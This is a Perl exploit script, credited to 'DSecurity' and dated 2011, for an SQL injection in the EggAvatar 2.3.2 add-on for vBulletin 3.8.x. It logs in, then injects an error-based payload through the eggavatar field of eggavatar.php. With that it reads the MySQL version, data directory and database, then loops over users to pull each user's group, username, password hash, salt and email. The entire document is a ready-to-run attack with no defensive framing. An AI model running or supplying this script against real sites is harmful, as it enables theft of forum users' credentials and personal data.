EggAvatar for vBulletin 3.8.x SQL Injection Vulnerability

#!/usr/bin/env perl

use LWP::UserAgent;

sub banner{

print "###################################\n";

print "############ DSecurity ############\n";

print "###################################\n";

print "# Email:dsecurity.vn[at]gmail.com #\n";

print "###################################\n";

}

if(@ARGV<5){

print "Usage: $0 address username password number_user sleeptime\n";

print "Example: $0 http://localhost/vbb test test 10 10\n";

exit();

}

$ua=LWP::UserAgent->new();

$ua->agent("DSecurity");

$ua->cookie_jar({});

sub login(@){

my $username=shift;

my $password=shift;

my $req = HTTP::Request->new(POST => $ARGV[0].'/login.php?do=login');

$req->content_type('application/x-www-form-urlencoded');

$req->content("vb_login_username=$username&vb_login_passwor=$password&s=&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&do=login&vb_login_md5password=&vb_login_md5password_utf=");

my $res = $ua->request($req);

}

sub v_request{

#Declare

$print = $_[0];

$select = $_[1];

$from = $_[2];

$where = $_[3];

$limit = $_[4];

$sleep = $ARGV[4];

if ($from eq '') {$from = 'information_schema.tables';}

if ($where eq '') {$where = '1';}

if ($limit eq '') {$limit = '0';}

if ($sleep eq '') {$sleep = '10';}

# Create a request

my $req = HTTP::Request->new(POST => $ARGV[0].'/eggavatar.php');

$req->content_type('application/x-www-form-urlencoded');

$req->content('do=addegg&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&eggavatar=1'."' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select $select  from  $from  WHERE $where limit $limit,1),FLOOR(RAND(1)*3))foo FROM information_schema.tables GROUP BY foo)a)-- -'&uid=1&pid=1");

# Pass request to the user agent and get a response back

my $res = $ua->request($req);

#print $res->content;

if($res->content =~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)

{$test = $3};

sleep($sleep);

return $print.$test."\n";

}

&banner;

print "\n#############################################################################################################\n";

print "# EggAvatar for vBulletin 3.8.x SQL Injection Vulnerability                                                 #\n";

print "# Date:06-03-2011                                                                                           #\n";

print "# Author: DSecurity                                                                      #\n";

print "# Software Link: http://www.vbteam.info/vb-3-8-x-addons-and-template-modifications/19079-tk-egg-avatar.html #\n";

print "# Version: 2.3.2                                                                                            #\n";

print "# Tested on: vBulletin 3.8.0                                                                                #\n";

print "#############################################################################################################\n";

#login

login($ARGV[1],$ARGV[2]);

#Foot print

print v_request('MySQL version: ','@@version');

print v_request('Data dir: ','@@datadir');

print v_request('User: ','user()');

print v_request('Database: ','database()');

#Get user

for($i=1;$i<=$ARGV[3];$i++){

print "-----------------------------------------\n";

print $id = v_request('ID: ','userid','user','1',$i-1);

if($id =~ /(ID:)\s(.*)/){

print v_request('Group: ','usergroupid','user','userid='.$2);

print v_request('Username: ','username','user','userid='.$2);

print v_request('Password: ','password','user','userid='.$2);

print v_request('Salt: ','salt','user','userid='.$2);

print v_request('Email: ','email','user','userid='.$2);

}

}